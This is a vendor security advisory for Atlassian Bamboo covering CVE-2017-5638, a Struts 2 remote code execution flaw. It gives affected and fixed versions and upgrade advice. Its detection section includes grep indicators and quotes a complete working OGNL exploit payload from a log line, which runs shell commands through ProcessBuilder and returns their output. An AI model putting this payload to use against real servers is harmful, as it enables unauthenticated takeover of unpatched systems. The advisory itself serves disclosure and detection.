Bamboo Security Advisory 2017-03-10

Bamboo - Remote code execution caused by Apache Struts 2

Note: As of  September 2014 we are no longer issuing binary bug patches, instead we create new maintenance releases for the major versions we are backporting.

 

Summary

CVE-2017-5638 - Remote code execution in Bamboo

Advisory Release Date

 10 AM PDT  (Pacific Time, -7 hours)

ProductBamboo
Affected Bamboo Versions
  • 5.1.0 <= version < 5.14.5
  • 5.15.0 <= version < 5.15.3
Fixed Bamboo versions
  • for 5.14.x, Bamboo 5.14.5 has been released with a fix for this issue.
  • for 5.15.x, Bamboo 5.15.3 has been released with a fix for this issue.
CVE ID(s)
  • CVE-2017-5638


Summary of vulnerability

This advisory discloses a critical severity security vulnerability that was introduced in version 5.1.0 of Bamboo. Versions of Bamboo from 5.1.0 but less than 5.14.5 (the fixed version for 5.14.x), and from 5.15.0 but less than 5.15.3 (the fixed version for 5.15.x), are affected by this vulnerability. 

 

Atlassian Cloud instances have already been upgraded to a version of Bamboo that does not have the issue described on this page.

Customers who have upgraded Bamboo to version 5.14.5 or 5.15.3 are not affected.

Customers who have downloaded and installed Bamboo >= 5.1.0 but less than 5.14.5 (the fixed version for 5.14.x)

Customers who have downloaded and installed Bamboo >= 5.15.0 but less than 5.15.3 (the fixed version for 5.15.x)

 

Please upgrade your Bamboo installations immediately to fix this vulnerability.



Remote code execution through Apache Struts 2 (CVE-2017-5638)

Severity

We rate the severity level of this vulnerability as critical, according to our Atlassian severity levels. The scale allows us to rank the severity as critical, high, moderate or low.

This is an independent assessment. You should evaluate its applicability to your own IT environment.

 

Description

Bamboo used a version of Apache Struts 2 that was vulnerable to CVE-2017-5638. Attackers can use this vulnerability to execute Java code of their choice on systems that have a vulnerable version of Bamboo without prior authentication.

All versions of Bamboo starting with 5.1.0 but less than 5.14.5 (the fixed version for 5.14.x), and from 5.15.0 but less than 5.15.3 (the fixed version for 5.15.x), are affected by this vulnerability. You can track this issue here:  BAM-18242 - Getting issue details... STATUS

 

Fix

To address this issue, we've released the following versions containing a fix:

  1. Bamboo version 5.14.5
  2. Bamboo version 5.15.3

What you need to do

Upgrade Bamboo to version 5.15.3 or higher

The vulnerabilities and fix versions are described above. If affected, you should upgrade to the latest version immediately.

If you're running Bamboo 5.14.x and cannot upgrade to 5.15.3, upgrade to version 5.14.5.

 

For a full description of the latest version of Bamboo, see the Bamboo release notes. You can download the latest version of Bamboo from the download centre.

 

Detection

Given that we have confirmed exploitation in the wild, we recommend customers look for signs of compromise even if they upgrade immediately. Detection of such attacks is very environment-specific but below are some indicators that customers may find useful in their investigations.

The same expression can be used across all log types, which is especially useful if you are using a SIEM or log aggregator to analyze the logs all at once:

grep -E 'InvalidContentTypeException.+multipart\/form\-data' *.log

If remote code was executed, you will see an OGNL expression being evaluated on the server. These commands will typically start with `#cmd=` or `#cmds=` such as:

(#cmd='ls')
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))


Bamboo logs all its application events inside `atlassian-bamboo.log`.  The default path is: `<BAMBOO_HOME>/logs/atlassian-bamboo.log`.

grep -E 'InvalidContentTypeException.+multipart\/form\-data' atlassian-bamboo.log

org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
...

 

Support

If you have questions or concerns regarding this advisory, please raise a support request at https://support.atlassian.com/.

References

Security Bug fix Policy

As per our new policy, critical security bug fixes will be back ported to major software versions for up to 12 months for JIRA and Confluence. We'll release new maintenance releases for the versions covered by the new policy instead of binary patches.

Binary patches will no longer be released. 

Severity Levels for security issuesAtlassian security advisories include a severity level and a CVE identifier. This severity level is based on our self-calculated CVSS score for each specific vulnerability. CVSS is an industry standard vulnerability metric. You can also learn more about CVSS at FIRST.org.
End of Life Policy Our end-of-life policy varies for different products. Please refer to our EOL Policy for details.
Last modified on Mar 12, 2017

Was this helpful?

Yes
No
Provide feedback about this article
Powered by Confluence and Scroll Viewport.